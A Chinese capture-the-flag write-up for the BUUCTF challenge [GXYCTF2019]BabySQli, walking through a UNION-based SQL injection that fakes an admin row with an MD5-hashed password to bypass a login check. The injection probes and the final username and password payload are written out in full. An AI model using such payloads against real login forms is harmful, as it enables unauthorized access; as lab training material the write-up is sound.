buuctf-[GXYCTF2019]BabySQli WP(小宇特详解)
这里先看一下源码
查看search.php
这里先base32解码,然后在base64解码得到
select * from user where username = ‘$name’
这里先尝试一下user是admin,然后password是123456,回显wrong pass
而尝试一下其他的user和其他密码发现这里回显的是wrong user
这个现象给了信息,说明admin的user是对的只是密码是错的
这里用联合查询user=’ union select select 1,2,3 #这里回显的是wrong user
而使用user=’ union select 1,2,3,4 #报错了
这里有三个字段,这里常规的数据库的话是id,user,password
这里进行验证,’ union select 1,‘admin’,3#不报错并且回显wrong pass
这里我没找到提示是MD5加密,但是在其他的博客上提示是MD5加密的
这里利用联合查询的时候当你查询的数据不存在是,联合查询就会构造虚拟的数据
这里我特意搭建了一个环境,我用的是phpstudy小皮版
我先创建了一个数据库,然后里面的表的内容如下
然后进行查询
select * from user where username='0' union select 0,'admin','670b14728ad9902aecba32e22fa4f6bd'
这里直接生成了一个虚拟数据
利用这个原理构造payload
username:'union select 1,'admin','670b14728ad9902aecba32e22fa4f6bd'
password:000000
|